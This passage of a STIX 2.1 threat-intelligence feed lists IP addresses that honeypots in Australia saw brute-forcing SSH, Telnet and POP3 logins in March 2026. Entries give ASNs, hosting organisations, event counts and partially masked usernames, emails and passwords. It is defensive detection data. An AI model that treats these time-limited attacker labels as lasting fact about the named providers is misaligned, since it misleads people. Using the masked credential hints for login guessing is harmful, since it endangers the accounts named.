      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.212.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9c0be42b-6994-45c0-a2d2-7a667357c22c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.211.180.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 45773. Organisation(s): PERN AS Content Servie Provider, Islamabad, Pakistan. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 1******b, 3***********4, 3**********4, 7********0.",
      "id": "indicator--5fb0aed7-c279-482e-97d4-e8ff26ea94cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.52.147.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): t****t. Passwords observed (masked): T*******3.",
      "id": "indicator--7b5ba3c3-8341-4af9-9a1b-2f049d3f11a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.29.190.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b07c1486-39ce-4f9b-9891-544f36d3454f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 212219. Organisation(s): Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi. Usernames observed (masked): r**e. Passwords observed (masked): r*****3.",
      "id": "indicator--9ef6fa43-b887-4729-a41d-2dd74232d97d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.132.197.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**e. Passwords observed (masked): r*****3.",
      "id": "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.178.114.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a*******r, r***n, r**t, 3**********4, j*****a. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, A*******6.",
      "id": "indicator--fd495f82-53d6-49a1-afa1-d1cf9a35dea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.38.98.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--86db62ea-c4b9-454c-b2ac-59a1001aa8c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.81.208.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A*********6.",
      "id": "indicator--0fae7af4-2964-431f-bc7a-003377fc28e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.211.138.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 35807. Organisation(s): SkyNet Ltd..",
      "id": "indicator--cbbf1386-41e4-4eea-b638-fa8c036d9121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.100.201.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a*****e, 3**********4, G***t, s*******0, u**r. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, G*******4.",
      "id": "indicator--781e16d2-2303-4d20-a2bb-b54a3d8a8b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.72.147.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--0de1afe9-1bc7-4149-84d0-064f2f2e7d9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.150.117.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): i***l, r**t, 3**********4, b****x, e***n. Passwords observed (masked): 3***********4, 3**********4, A**********9, E*******!, b********4.",
      "id": "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '132.145.213.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 51. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--39724875-9de4-4b4b-aa12-c0f99712ae38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.149.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 414. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): 3**********4, r**t, k**e, l***x, t**p. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--f045d997-4e04-481e-af38-342fbe4fc955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.198.162.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--0c0fca61-6a0f-4c08-bf4f-dd55eb994ffb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.128.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): d***a, r**t, 3**********4, i**v, m***l. Passwords observed (masked): 1******8, 3***********4, 3**********4, D******3, Q*********3.",
      "id": "indicator--29a309a4-f3ed-4dc2-8bb3-9dc58b6abc4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.190.166.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway S.a.s.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4069824c-ccc9-46d8-a17b-13d293782506",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.15.4.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210644. Organisation(s): Aeza International Ltd. Usernames observed (masked): 3**********4, r**t, k**e, l***x, t**p. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--3af3f607-3414-4283-999d-9e26521f98dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.169.55.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:15:13.000Z",
      "valid_until": "2026-04-06T19:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s****a, 3**********4, a***r, g***e, h***n. Passwords observed (masked): p******d, ***, 1******8, 3***********4, 3**********4.",
      "id": "indicator--7115a752-9ca0-4943-ab48-b725c9c681d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151772. Organisation(s): Sky Fi Broadband Services Private Limited.",
      "id": "indicator--3210b04e-63b2-4a08-bb7c-ecbcfc16a417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.23.92.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): **, 3**********4, c***l, c***r, e****e. Passwords observed (masked): 3***********4, 3**********4, A********0, E*******3, M****!.",
      "id": "indicator--569f21a2-a12a-4d62-a42f-f32c4d4542de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.22.123.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--eca860a5-a2ae-4a6d-8216-a8f0b75966b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.216.149.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 63835. Organisation(s): No.293,Wanbao Avenue. Usernames observed (masked): s***s@kelltech.dev. Passwords observed (masked): K***********5.",
      "id": "indicator--44ac2139-87ee-44c5-abf0-75b2d591e61c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.6.179.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 24492. Organisation(s): WiCAM Corporation Ltd.. Usernames observed (masked): 3**********4, g********r, k**e, a***n, a*******4. Passwords observed (masked): 3***********4, 3**********4, G***********3, L******!, a***n.",
      "id": "indicator--07aef71d-65e4-4846-a4d5-487c833d0265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.79.29.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): g********r, 3**********4, a***n, a*******4, ***. Passwords observed (masked): 3***********4, 3**********4, G***********3, L******!, a***n.",
      "id": "indicator--458ea8ab-25df-47c9-ba41-53d2925814d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.120.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1327664e-cd31-455d-b94a-a957deb8a848",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.136.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): 3**********4, g********r, k**e, a***n, a*******4. Passwords observed (masked): 3***********4, 3**********4, G***********3, L******!, a***n.",
      "id": "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.243.142.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n@bardengineering.com, n******y@bardengineering.com. Passwords observed (masked): B******************4, b******************!.",
      "id": "indicator--5184633d-7c43-47bd-8463-c7181a4f92b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.115.61.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--2fb0a2b0-0d39-48c6-a8d7-0f50f9fe4dc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.160.209.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet. Usernames observed (masked): **@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B******************5, b******************#.",
      "id": "indicator--8499136f-dc7a-43e6-834d-1044ff30370b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.217.106.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
      "created": "2026-03-05T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): 3**********4, a**n, o*******r, a****s, b**m. Passwords observed (masked): ***, 3***********4, 3**********4, 1******8, A******3.",
      "id": "indicator--f0fe3fde-20d2-4aa8-b8bc-18c39799cb20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.155.5.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:15:13.000Z",
      "valid_until": "2026-04-06T20:15:11.000Z"
    },
    {
